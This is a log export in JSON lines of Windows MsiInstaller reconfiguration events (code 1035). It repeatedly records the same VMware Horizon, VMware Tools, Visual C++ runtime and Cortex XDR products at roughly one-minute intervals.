{"@timestamp":1657402270750,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171529}}
{"@timestamp":1657402270779,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171530}}
{"@timestamp":1657402270805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171531}}
{"@timestamp":1657402270842,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171532}}
{"@timestamp":1657402270869,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171533}}
{"@timestamp":1657402330678,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171534}}
{"@timestamp":1657402330705,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171535}}
{"@timestamp":1657402330755,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171536}}
{"@timestamp":1657402330794,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171537}}
{"@timestamp":1657402330822,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171538}}
{"@timestamp":1657402330852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171539}}
{"@timestamp":1657402330879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171540}}
{"@timestamp":1657402330905,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171541}}
{"@timestamp":1657402330940,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171542}}
{"@timestamp":1657402330966,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171543}}
{"@timestamp":1657402390805,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171544}}
{"@timestamp":1657402390831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171545}}
{"@timestamp":1657402390880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171546}}
{"@timestamp":1657402390919,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171547}}
{"@timestamp":1657402390946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171548}}
{"@timestamp":1657402390976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171549}}
{"@timestamp":1657402391003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171550}}
{"@timestamp":1657402391028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171551}}
{"@timestamp":1657402391064,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171552}}
{"@timestamp":1657402391092,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171553}}
{"@timestamp":1657402450651,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171554}}
{"@timestamp":1657402450679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171555}}
{"@timestamp":1657402450729,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171556}}
{"@timestamp":1657402450770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171557}}
{"@timestamp":1657402450799,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171558}}
{"@timestamp":1657402450835,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171559}}
{"@timestamp":1657402450863,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171560}}
{"@timestamp":1657402450889,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171561}}
{"@timestamp":1657402450927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171562}}
{"@timestamp":1657402450954,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171563}}
{"@timestamp":1657402510555,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171564}}
{"@timestamp":1657402510581,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171565}}
{"@timestamp":1657402510631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171566}}
{"@timestamp":1657402510670,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171567}}
{"@timestamp":1657402510698,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171568}}
{"@timestamp":1657402510728,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171569}}
{"@timestamp":1657402510754,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171570}}
{"@timestamp":1657402510779,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171571}}
{"@timestamp":1657402510815,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171572}}
{"@timestamp":1657402510853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171573}}
{"@timestamp":1657402570480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171574}}
{"@timestamp":1657402570506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171575}}
{"@timestamp":1657402570555,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171576}}
{"@timestamp":1657402570594,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171577}}
{"@timestamp":1657402570622,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171578}}
{"@timestamp":1657402570653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171579}}
{"@timestamp":1657402570679,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171580}}
{"@timestamp":1657402570707,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171581}}
{"@timestamp":1657402570743,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171582}}
{"@timestamp":1657402570770,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171583}}
{"@timestamp":1657402630720,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171584}}
{"@timestamp":1657402630745,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171585}}
{"@timestamp":1657402630796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171586}}
{"@timestamp":1657402630835,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171587}}
{"@timestamp":1657402630864,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171588}}
{"@timestamp":1657402630895,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171589}}
{"@timestamp":1657402630921,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171590}}
{"@timestamp":1657402630946,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171591}}
{"@timestamp":1657402630981,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171592}}
{"@timestamp":1657402631009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171593}}
{"@timestamp":1657402690548,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171594}}
